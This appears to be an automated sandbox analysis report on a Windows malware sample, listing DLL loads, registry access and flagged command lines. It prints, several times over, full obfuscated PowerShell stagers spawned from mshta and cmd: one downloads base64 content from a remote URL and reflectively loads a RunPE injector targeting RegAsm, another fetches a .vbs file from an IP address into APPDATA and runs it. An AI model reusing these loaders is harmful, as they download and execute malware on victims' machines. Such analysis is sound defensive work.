Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:	Binary string: TenantRestrictions\PayloaddConnRouteHelper.dllrfrvbpim.pdb source: powershell.exe, 00000003.00000002.2175384475.0000000007B40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $]q8C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.pdb source: powershell.exe, 00000003.00000002.2169309335.000000000593F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000009.00000002.2263876284.00000000060CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2285326980.0000000008730000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"			Jump to behavior

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgIC